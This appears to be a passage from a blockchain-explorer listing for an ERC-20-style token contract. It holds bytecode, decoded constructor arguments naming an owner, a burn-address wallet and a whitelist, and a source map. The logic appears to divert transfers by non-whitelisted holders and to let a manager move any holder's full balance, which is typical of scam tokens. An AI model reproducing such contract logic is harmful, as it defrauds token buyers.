610fb1611189565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611021575f6040517f1e4fbdf70000000000000000000000000000000000000000000000000000000081526004016110189190611b6d565b60405180910390fd5b61102a81611210565b50565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f33905090565b6110668383836001611303565b505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110db575f6040517f96c6fd1e0000000000000000000000000000000000000000000000000000000081526004016110d29190611b6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361114b575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016111429190611b6d565b60405180910390fd5b6111568383836114d2565b505050565b5f80611165611052565b90506111728582856116eb565b61117d85858561106b565b60019150509392505050565b611191611052565b73ffffffffffffffffffffffffffffffffffffffff166111af610cae565b73ffffffffffffffffffffffffffffffffffffffff161461120e576111d2611052565b6040517f118cdaa70000000000000000000000000000000000000000000000000000000081526004016112059190611b6d565b60405180910390fd5b565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f806112dd611052565b90506112ea81858561106b565b600191505092915050565b6112ff828261177d565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611373575f6040517fe602df0500000000000000000000000000000000000000000000000000000000815260040161136a9190611b6d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036113e3575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016113da9190611b6d565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555080156114cc578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516114c391906119e2565b60405180910390a35b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611522578060025f828254611516919061206c565b925050819055506115f0565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156115ab578381836040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016115a29392919061209f565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611637578060025f8282540392505081905550611681565b805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116de91906119e2565b60405180910390a3505050565b5f6116f68484610f27565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146117775781811015611768578281836040517ffb8f41b200000000000000000000000000000000000000000000000000000000815260040161175f9392919061209f565b60405180910390fd5b61177684848484035f611303565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036117ed575f6040517fec442f050000000000000000000000000000000000000000000000000000000081526004016117e49190611b6d565b60405180910390fd5b6117f85f83836114d2565b5050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61182982611800565b9050919050565b6118398161181f565b8114611843575f80fd5b50565b5f8135905061185481611830565b92915050565b5f6020828403121561186f5761186e6117fc565b5b5f61187c84828501611846565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118bc5780820151818401526020810190506118a1565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6118e182611885565b6118eb818561188f565b93506118fb81856020860161189f565b611904816118c7565b840191505092915050565b5f6020820190508181035f83015261192781846118d7565b905092915050565b5f819050919050565b6119418161192f565b811461194b575f80fd5b50565b5f8135905061195c81611938565b92915050565b5f8060408385031215611978576119776117fc565b5b5f61198585828601611846565b92505060206119968582860161194e565b9150509250929050565b5f8115159050919050565b6119b4816119a0565b82525050565b5f6020820190506119cd5f8301846119ab565b92915050565b6119dc8161192f565b82525050565b5f6020820190506119f55f8301846119d3565b92915050565b5f805f60608486031215611a1257611a116117fc565b5b5f611a1f86828701611846565b9350506020611a3086828701611846565b9250506040611a418682870161194e565b9150509250925092565b5f8060408385031215611a6157611a606117fc565b5b5f611a6e85828601611846565b9250506020611a7f85828601611846565b9150509250929050565b5f60ff82169050919050565b611a9e81611a89565b82525050565b5f602082019050611ab75f830184611a95565b92915050565b611ac6816119a0565b8114611ad0575f80fd5b50565b5f81359050611ae181611abd565b92915050565b5f805f805f60a08688031215611b0057611aff6117fc565b5b5f611b0d88828901611846565b9550506020611b1e88828901611ad3565b9450506040611b2f88828901611ad3565b9350506060611b4088828901611ad3565b9250506080611b5188828901611ad3565b9150509295509295909350565b611b678161181f565b82525050565b5f602082019050611b805f830184611b5e565b92915050565b7f43616c6c6572206973206e6f742061206c6971756964697479206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f611be060218361188f565b9150611beb82611b86565b604082019050919050565b5f6020820190508181035f830152611c0d81611bd4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680611c5857607f821691505b602082108103611c6b57611c6a611c14565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611ca5601c8361188f565b9150611cb082611c71565b602082019050919050565b5f6020820190508181035f830152611cd281611c99565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f611d0d60158361188f565b9150611d1882611cd9565b602082019050919050565b5f6020820190508181035f830152611d3a81611d01565b9050919050565b7f43616c6c6572206973206e6f7420612077686974656c697374206d616e6167655f8201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b5f611d9b60218361188f565b9150611da682611d41565b604082019050919050565b5f6020820190508181035f830152611dc881611d8f565b9050919050565b7f4164647265737320697320616c72656164792077686974656c697374656400005f82015250565b5f611e03601e8361188f565b9150611e0e82611dcf565b602082019050919050565b5f6020820190508181035f830152611e3081611df7565b9050919050565b7f5265776172644d616e61676572000000000000000000000000000000000000005f82015250565b5f611e6b600d8361188f565b9150611e7682611e37565b602082019050919050565b5f6020820190508181035f830152611e9881611e5f565b9050919050565b7f4275726e4d616e616765720000000000000000000000000000000000000000005f82015250565b5f611ed3600b8361188f565b9150611ede82611e9f565b602082019050919050565b5f6020820190508181035f830152611f0081611ec7565b9050919050565b7f4c69717569646974794d616e61676572000000000000000000000000000000005f82015250565b5f611f3b60108361188f565b9150611f4682611f07565b602082019050919050565b5f6020820190508181035f830152611f6881611f2f565b9050919050565b7f57686974656c6973744d616e61676572000000000000000000000000000000005f82015250565b5f611fa360108361188f565b9150611fae82611f6f565b602082019050919050565b5f6020820190508181035f830152611fd081611f97565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f61200b601e8361188f565b915061201682611fd7565b602082019050919050565b5f6020820190508181035f83015261203881611fff565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6120768261192f565b91506120818361192f565b92508282019050808211156120995761209861203f565b5b92915050565b5f6060820190506120b25f830186611b5e565b6120bf60208301856119d3565b6120cc60408301846119d3565b94935050505056fea26469706673582212203efffd87eef6b33a3878cfeb223bec1e692a364185ac5811655421140ddbb4ef64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000074b220d3cf9644047c3eaca64894712023dec9b5000000000000000000000000000000000000000000000000000000000000dead00000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000a09aad3b423a8d51b2450ff391ad6040dc1e8efb000000000000000000000000a190a3fed56551d6c89aeeadcf4c828eff0b219f

-----Decoded View---------------
Arg [0] : initialOwner (address): 0x74B220d3cf9644047c3eACA64894712023dEc9B5
Arg [1] : _customWallet (address): 0x000000000000000000000000000000000000dEaD
Arg [2] : _whitelist (address[]): 0xA09aad3B423A8d51b2450ff391aD6040dC1e8EFB,0xa190a3fED56551d6c89AEeaDCf4C828efF0b219F

-----Encoded View---------------
6 Constructor Arguments found :
Arg [0] : 00000000000000000000000074b220d3cf9644047c3eaca64894712023dec9b5
Arg [1] : 000000000000000000000000000000000000000000000000000000000000dead
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [4] : 000000000000000000000000a09aad3b423a8d51b2450ff391ad6040dc1e8efb
Arg [5] : 000000000000000000000000a190a3fed56551d6c89aeeadcf4c828eff0b219f


Deployed Bytecode Sourcemap

25627:4691:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28554:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13005:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15298:190;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14107:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29633:379;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28739:255;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13958:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;30082:233;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;27830:716;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26289:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14269:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24728:103;;;:::i;:::-;;24053:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13215:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29236:389;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;29002:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14837:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;24986:220;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;26255:27;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;28554:177;27389:17;:29;27407:10;27389:29;;;;;;;;;;;;;;;;;;;;;;;;;27381:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;28661:14:::1;28645:13;;:30;;;;;;;;;;;;;;;;;;28708:14;28691:32;;;;;;;;;;;;28554:177:::0;:::o;13005:91::-;13050:13;13083:5;13076:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13005:91;:::o;15298:190::-;15371:4;15388:13;15404:12;:10;:12::i;:::-;15388:28;;15427:31;15436:5;15443:7;15452:5;15427:8;:31::i;:::-;15476:4;15469:11;;;15298:190;;;;:::o;14107:99::-;14159:7;14186:12;;14179:19;;14107:99;:::o;29633:379::-;29722:4;29744:9;:15;29754:4;29744:15;;;;;;;;;;;;;;;;;;;;;;;;;29739:266;;29776:37;29786:4;29792:12;;;;;;;;;;;29806:6;29776:9;:37::i;:::-;29870:12;;;;;;;;;;;29833:58;;29864:4;29833:58;;;29884:6;29833:58;;;;;;:::i;:::-;;;;;;;;29913:4;29906:11;;;;29739:266;29957:36;29976:4;29982:2;29986:6;29957:18;:36::i;:::-;29950:43;;29633:379;;;;;;:::o;28739:255::-;27253:12;:24;27266:10;27253:24;;;;;;;;;;;;;;;;;;;;;;;;;27245:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;28815:14:::1;28832:15;28842:4;28832:9;:15::i;:::-;28815:32;;28875:1;28866:6;:10;28858:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;28913:27;28923:4;28929:2;28933:6;28913:9;:27::i;:::-;28975:2;28956:30;;28969:4;28956:30;;;28979:6;28956:30;;;;;;:::i;:::-;;;;;;;;28804:190;28739:255:::0;;:::o;13958:84::-;14007:5;14032:2;14025:9;;13958:84;:::o;30082:233::-;27535:17;:29;27553:10;27535:29;;;;;;;;;;;;;;;;;;;;;;;;;27527:75;;;;;;;;;;;;:::i;:::-;;;;;;;;;30175:9:::1;:18;30185:7;30175:18;;;;;;;;;;;;;;;;;;;;;;;;;30174:19;30166:62;;;;;;;;;;;;:::i;:::-;;;;;;;;;30260:4;30239:9;:18;30249:7;30239:18;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;30299:7;30280:27;;;;;;;;;;;;30082:233:::0;:::o;27830:716::-;23939:13;:11;:13::i;:::-;27977:11:::1;27973:131;;;28031:4;28005:14;:23;28020:7;28005:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;28067:7;28055:37;;;;;;;;:::i;:::-;;;;;;;;27973:131;28118:9;28114:125;;;28168:4;28144:12;:21;28157:7;28144:21;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;28204:7;28192:35;;;;;;;;:::i;:::-;;;;;;;;28114:125;28253:14;28249:140;;;28313:4;28284:17;:26;28302:7;28284:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;28349:7;28337:40;;;;;;;;:::i;:::-;;;;;;;;28249:140;28403:14;28399:140;;;28463:4;28434:17;:26;28452:7;28434:26;;;;;;;;;;;;;;;;:33;;;;;;;;;;;;;;;;;;28499:7;28487:40;;;;;;;;:::i;:::-;;;;;;;;28399:140;27830:716:::0;;;;;:::o;26289:28::-;;;;;;;;;;;;;:::o;14269:118::-;14334:7;14361:9;:18;14371:7;14361:18;;;;;;;;;;;;;;;;14354:25;;14269:118;;;:::o;24728:103::-;23939:13;:11;:13::i;:::-;24793:30:::1;24820:1;24793:18;:30::i;:::-;24728:103::o:0;24053:87::-;24099:7;24126:6;;;;;;;;;;;24119:13;;24053:87;:::o;13215:95::-;13262:13;13295:7;13288:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13215:95;:::o;29236:389::-;29307:4;29324:12;29339;:10;:12::i;:::-;29324:27;;29367:9;:15;29377:4;29367:15;;;;;;;;;;;;;;;;;;;;;;;;;29362:256;;29399:37;29409:4;29415:12;;;;;;;;;;;29429:6;29399:9;:37::i;:::-;29493:12;;;;;;;;;;;29456:58;;29487:4;29456:58;;;29507:6;29456:58;;;;;;:::i;:::-;;;;;;;;29536:4;29529:11;;;;;29362:256;29580:26;29595:2;29599:6;29580:14;:26::i;:::-;29573:33;;;29236:389;;;;;:::o;29002:113::-;27118:14;:26;27133:10;27118:26;;;;;;;;;;;;;;;;;;;;;;;;;27110:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;29083:24:::1;29096:2;29100:6;29083:12;:24::i;:::-;29002:113:::0;;:::o;14837:142::-;14917:7;14944:11;:18;14956:5;14944:18;;;;;;;;;;;;;;;:27;14963:7;14944:27;;;;;;;;;;;;;;;;14937:34;;14837:142;;;;:::o;24986:220::-;23939:13;:11;:13::i;:::-;25091:1:::1;25071:22;;:8;:22;;::::0;25067:93:::1;;25145:1;25117:31;;;;;;;;;;;:::i;:::-;;;;;;;;25067:93;25170:28;25189:8;25170:18;:28::i;:::-;24986:220:::0;:::o;26255:27::-;;;;;;;;;;;;;:::o;4304:98::-;4357:7;4384:10;4377:17;;4304:98;:::o;20157:130::-;20242:37;20251:5;20258:7;20267:5;20274:4;20242:8;:37::i;:::-;20157:130;;;:::o;16732:308::-;16832:1;16816:18;;:4;:18;;;16812:88;;16885:1;16858:30;;;;;;;;;;;:::i;:::-;;;;;;;;16812:88;16928:1;16914:16;;:2;:16;;;16910:88;;16983:1;16954:32;;;;;;;;;;;:::i;:::-;;;;;;;;16910:88;17008:24;17016:4;17022:2;17026:5;17008:7;:24::i;:::-;16732:308;;;:::o;16098:249::-;16185:4;16202:15;16220:12;:10;:12::i;:::-;16202:30;;16243:37;16259:4;16265:7;16274:5;16243:15;:37::i;:::-;16291:26;16301:4;16307:2;16311:5;16291:9;:26::i;:::-;16335:4;16328:11;;;16098:249;;;;;:::o;24218:166::-;24289:12;:10;:12::i;:::-;24278:23;;:7;:5;:7::i;:::-;:23;;;24274:103;;24352:12;:10;:12::i;:::-;24325:40;;;;;;;;;;;:::i;:::-;;;;;;;;24274:103;24218:166::o;25366:191::-;25440:16;25459:6;;;;;;;;;;;25440:25;;25485:8;25476:6;;:17;;;;;;;;;;;;;;;;;;25540:8;25509:40;;25530:8;25509:40;;;;;;;;;;;;25429:128;25366:191;:::o;14592:182::-;14661:4;14678:13;14694:12;:10;:12::i;:::-;14678:28;;14717:27;14727:5;14734:2;14738:5;14717:9;:27::i;:::-;14762:4;14755:11;;;14592:182;;;;:::o;29123:105::-;29198:22;29204:7;29213:6;29198:5;:22::i;:::-;29123:105;;:::o;21154:443::-;21284:1;21267:19;;:5;:19;;;21263:91;;21339:1;21310:32;;;;;;;;;;;:::i;:::-;;;;;;;;21263:91;21387:1;21368:21;;:7;:21;;;21364:92;;21441:1;21413:31;;;;;;;;;;;:::i;:::-;;;;;;;;21364:92;21496:5;21466:11;:18;21478:5;21466:18;;;;;;;;;;;;;;;:27;21485:7;21466:27;;;;;;;;;;;;;;;:35;;;;21516:9;21512:78;;;21563:7;21547:31;;21556:5;21547:31;;;21572:5;21547:31;;;;;;:::i;:::-;;;;;;;;21512:78;21154:443;;;;:::o;17364:1135::-;17470:1;17454:18;;:4;:18;;;17450:552;;17608:5;17592:12;;:21;;;;;;;:::i;:::-;;;;;;;;17450:552;;;17646:19;17668:9;:15;17678:4;17668:15;;;;;;;;;;;;;;;;17646:37;;17716:5;17702:11;:19;17698:117;;;17774:4;17780:11;17793:5;17749:50;;;;;;;;;;;;;:::i;:::-;;;;;;;;17698:117;17970:5;17956:11;:19;17938:9;:15;17948:4;17938:15;;;;;;;;;;;;;;;:37;;;;17631:371;17450:552;18032:1;18018:16;;:2;:16;;;18014:435;;18200:5;18184:12;;:21;;;;;;;;;;;18014:435;;;18417:5;18400:9;:13;18410:2;18400:13;;;;;;;;;;;;;;;;:22;;;;;;;;;;;18014:435;18481:2;18466:25;;18475:4;18466:25;;;18485:5;18466:25;;;;;;:::i;:::-;;;;;;;;17364:1135;;;:::o;21889:487::-;21989:24;22016:25;22026:5;22033:7;22016:9;:25::i;:::-;21989:52;;22076:17;22056:16;:37;22052:317;;22133:5;22114:16;:24;22110:132;;;22193:7;22202:16;22220:5;22166:60;;;;;;;;;;;;;:::i;:::-;;;;;;;;22110:132;22285:57;22294:5;22301:7;22329:5;22310:16;:24;22336:5;22285:8;:57::i;:::-;22052:317;21978:398;21889:487;;;:::o;18852:213::-;18942:1;18923:21;;:7;:21;;;18919:93;;18997:1;18968:32;;;;;;;;;;;:::i;:::-;;;;;;;;18919:93;19022:35;19038:1;19042:7;19051:5;19022:7;:35::i;:::-;18852:213;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:99::-;1228:6;1262:5;1256:12;1246:22;;1176:99;;;:::o;1281:169::-;1365:11;1399:6;1394:3;1387:19;1439:4;1434:3;1430:14;1415:29;;1281:169;;;;:::o;1456:246::-;1537:1;1547:113;1561:6;1558:1;1555:13;1547:113;;;1646:1;1641:3;1637:11;1631:18;1627:1;1622:3;1618:11;1611:39;1583:2;1580:1;1576:10;1571:15;;1547:113;;;1694:1;1685:6;1680:3;1676:16;1669:27;1518:184;1456:246;;;:::o;1708:102::-;1749:6;1800:2;1796:7;1791:2;1784:5;1780:14;1776:28;1766:38;;1708:102;;;:::o;1816:377::-;1904:3;1932:39;1965:5;1932:39;:::i;:::-;1987:71;2051:6;2046:3;1987:71;:::i;:::-;1980:78;;2067:65;2125:6;2120:3;2113:4;2106:5;2102:16;2067:65;:::i;:::-;2157:29;2179:6;2157:29;:::i;:::-;2152:3;2148:39;2141:46;;1908:285;1816:377;;;;:::o;2199:313::-;2312:4;2350:2;2339:9;2335:18;2327:26;;2399:9;2393:4;2389:20;2385:1;2374:9;2370:17;2363:47;2427:78;2500:4;2491:6;2427:78;:::i;:::-;2419:86;;2199:313;;;;:::o;2518:77::-;2555:7;2584:5;2573:16;;2518:77;;;:::o;2601:122::-;2674:24;2692:5;2674:24;:::i;:::-;2667:5;2664:35;2654:63;;2713:1;2710;2703:12;2654:63;2601:122;:::o;2729:139::-;2775:5;2813:6;2800:20;2791:29;;2829:33;2856:5;2829:33;:::i;:::-;2729:139;;;;:::o;2874:474::-;2942:6;2950;2999:2;2987:9;2978:7;2974:23;2970:32;2967:119;;;3005:79;;:::i;:::-;2967:119;3125:1;3150:53;3195:7;3186:6;3175:9;3171:22;3150:53;:::i;:::-;3140:63;;3096:117;3252:2;3278:53;3323:7;3314:6;3303:9;3299:22;3278:53;:::i;:::-;3268:63;;3223:118;2874:474;;;;;:::o;3354:90::-;3388:7;3431:5;3424:13;3417:21;3406:32;;3354:90;;;:::o;3450:109::-;3531:21;3546:5;3531:21;:::i;:::-;3526:3;3519:34;3450:109;;:::o;3565:210::-;3652:4;3690:2;3679:9;3675:18;3667:26;;3703:65;3765:1;3754:9;3750:17;3741:6;3703:65;:::i;:::-;3565:210;;;;:::o;3781:118::-;3868:24;3886:5;3868:24;:::i;:::-;3863:3;3856:37;3781:118;;:::o;3905:222::-;3998:4;4036:2;4025:9;4021:18;4013:26;;4049:71;4117:1;4106:9;4102:17;4093:6;4049:71;:::i;:::-;3905:222;;;;:::o;4133:619::-;4210:6;4218;4226;4275:2;4263:9;4254:7;4250:23;4246:32;4243:119;;;4281:79;;:::i;:::-;4243:119;4401:1;4426:53;4471:7;4462:6;4451:9;4447:22;4426:53;:::i;:::-;4416:63;;4372:117;4528:2;4554:53;4599:7;4590:6;4579:9;4575:22;4554:53;:::i;:::-;4544:63;;4499:118;4656:2;4682:53;4727:7;4718:6;4707:9;4703:22;4682:53;:::i;:::-;4672:63;;4627:118;4133:619;;;;;:::o;4758:474::-;4826:6;4834;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;5136:2;5162:53;5207:7;5198:6;5187:9;5183:22;5162:53;:::i;:::-;5152:63;;5107:118;4758:474;;;;;:::o;5238:86::-;5273:7;5313:4;5306:5;5302:16;5291:27;;5238:86;;;:::o;5330:112::-;5413:22;5429:5;5413:22;:::i;:::-;5408:3;5401:35;5330:112;;:::o;5448:214::-;5537:4;5575:2;5564:9;5560:18;5552:26;;5588:67;5652:1;5641:9;5637:17;5628:6;5588:67;:::i;:::-;5448:214;;;;:::o;5668:116::-;5738:21;5753:5;5738:21;:::i;:::-;5731:5;5728:32;5718:60;;5774:1;5771;5764:12;5718:60;5668:116;:::o;5790:133::-;5833:5;5871:6;5858:20;5849:29;;5887:30;5911:5;5887:30;:::i;:::-;5790:133;;;;:::o;5929:887::-;6012:6;6020;6028;6036;6044;6093:3;6081:9;6072:7;6068:23;6064:33;6061:120;;;6100:79;;:::i;:::-;6061:120;6220:1;6245:53;6290:7;6281:6;6270:9;6266:22;6245:53;:::i;:::-;6235:63;;6191:117;6347:2;6373:50;6415:7;6406:6;6395:9;6391:22;6373:50;:::i;:::-;6363:60;;6318:115;6472:2;6498:50;6540:7;6531:6;6520:9;6516:22;6498:50;:::i;:::-;6488:60;;6443:115;6597:2;6623:50;6665:7;6656:6;6645:9;6641:22;6623:50;:::i;:::-;6613:60;;6568:115;6722:3;6749:50;6791:7;6782:6;6771:9;6767:22;6749:50;:::i;:::-;6739:60;;6693:116;5929:887;;;;;;;;:::o;6822:118::-;6909:24;6927:5;6909:24;:::i;:::-;6904:3;6897:37;6822:118;;:::o;6946:222::-;7039:4;7077:2;7066:9;7062:18;7054:26;;7090:71;7158:1;7147:9;7143:17;7134:6;7090:71;:::i;:::-;6946:222;;;;:::o;7174:220::-;7314:34;7310:1;7302:6;7298:14;7291:58;7383:3;7378:2;7370:6;7366:15;7359:28;7174:220;:::o;7400:366::-;7542:3;7563:67;7627:2;7622:3;7563:67;:::i;:::-;7556:74;;7639:93;7728:3;7639:93;:::i;:::-;7757:2;7752:3;7748:12;7741:19;;7400:366;;;:::o;7772:419::-;7938:4;7976:2;7965:9;7961:18;7953:26;;8025:9;8019:4;8015:20;8011:1;8000:9;7996:17;7989:47;8053:131;8179:4;8053:131;:::i;:::-;8045:139;;7772:419;;;:::o;8197:180::-;8245:77;8242:1;8235:88;8342:4;8339:1;8332:15;8366:4;8363:1;8356:15;8383:320;8427:6;8464:1;8458:4;8454:12;8444:22;;8511:1;8505:4;8501:12;8532:18;8522:81;;8588:4;8580:6;8576:17;8566:27;;8522:81;8650:2;8642:6;8639:14;8619:18;8616:38;8613:84;;8669:18;;:::i;:::-;8613:84;8434:269;8383:320;;;:::o;8709:178::-;8849:30;8845:1;8837:6;8833:14;8826:54;8709:178;:::o;8893:366::-;9035:3;9056:67;9120:2;9115:3;9056:67;:::i;:::-;9049:74;;9132:93;9221:3;9132:93;:::i;:::-;9250:2;9245:3;9241:12;9234:19;;8893:366;;;:::o;9265:419::-;9431:4;9469:2;9458:9;9454:18;9446:26;;9518:9;9512:4;9508:20;9504:1;9493:9;9489:17;9482:47;9546:131;9672:4;9546:131;:::i;:::-;9538:139;;9265:419;;;:::o;9690:171::-;9830:23;9826:1;9818:6;9814:14;9807:47;9690:171;:::o;9867:366::-;10009:3;10030:67;10094:2;10089:3;10030:67;:::i;:::-;10023:74;;10106:93;10195:3;10106:93;:::i;:::-;10224:2;10219:3;10215:12;10208:19;;9867:366;;;:::o;10239:419::-;10405:4;10443:2;10432:9;10428:18;10420:26;;10492:9;10486:4;10482:20;10478:1;10467:9;10463:17;10456:47;10520:131;10646:4;10520:131;:::i;:::-;10512:139;;10239:419;;;:::o;10664:220::-;10804:34;10800:1;10792:6;10788:14;10781:58;10873:3;10868:2;10860:6;10856:15;10849:28;10664:220;:::o;10890:366::-;11032:3;11053:67;11117:2;11112:3;11053:67;:::i;:::-;11046:74;;11129:93;11218:3;11129:93;:::i;:::-;11247:2;11242:3;11238:12;11231:19;;10890:366;;;:::o;11262:419::-;11428:4;11466:2;11455:9;11451:18;11443:26;;11515:9;11509:4;11505:20;11501:1;11490:9;11486:17;11479:47;11543:131;11669:4;11543:131;:::i;:::-;11535:139;;11262:419;;;:::o;11687:180::-;11827:32;11823:1;11815:6;11811:14;11804:56;11687:180;:::o;11873:366::-;12015:3;12036:67;12100:2;12095:3;12036:67;:::i;:::-;12029:74;;12112:93;12201:3;12112:93;:::i;:::-;12230:2;12225:3;12221:12;12214:19;;11873:366;;;:::o;12245:419::-;12411:4;12449:2;12438:9;12434:18;12426:26;;12498:9;12492:4;12488:20;12484:1;12473:9;12469:17;12462:47;12526:131;12652:4;12526:131;:::i;:::-;12518:139;;12245:419;;;:::o;12670:163::-;12810:15;12806:1;12798:6;12794:14;12787:39;12670:163;:::o;12839:366::-;12981:3;13002:67;13066:2;13061:3;13002:67;:::i;:::-;12995:74;;13078:93;13167:3;13078:93;:::i;:::-;13196:2;13191:3;13187:12;13180:19;;12839:366;;;:::o;13211:419::-;13377:4;13415:2;13404:9;13400:18;13392:26;;13464:9;13458:4;13454:20;13450:1;13439:9;13435:17;13428:47;13492:131;13618:4;13492:131;:::i;:::-;13484:139;;13211:419;;;:::o;13636:161::-;13776:13;13772:1;13764:6;13760:14;13753:37;13636:161;:::o;13803:366::-;13945:3;13966:67;14030:2;14025:3;13966:67;:::i;:::-;13959:74;;14042:93;14131:3;14042:93;:::i;:::-;14160:2;14155:3;14151:12;14144:19;;13803:366;;;:::o;14175:419::-;14341:4;14379:2;14368:9;14364:18;14356:26;;14428:9;14422:4;14418:20;14414:1;14403:9;14399:17;14392:47;14456:131;14582:4;14456:131;:::i;:::-;14448:139;;14175:419;;;:::o;14600:166::-;14740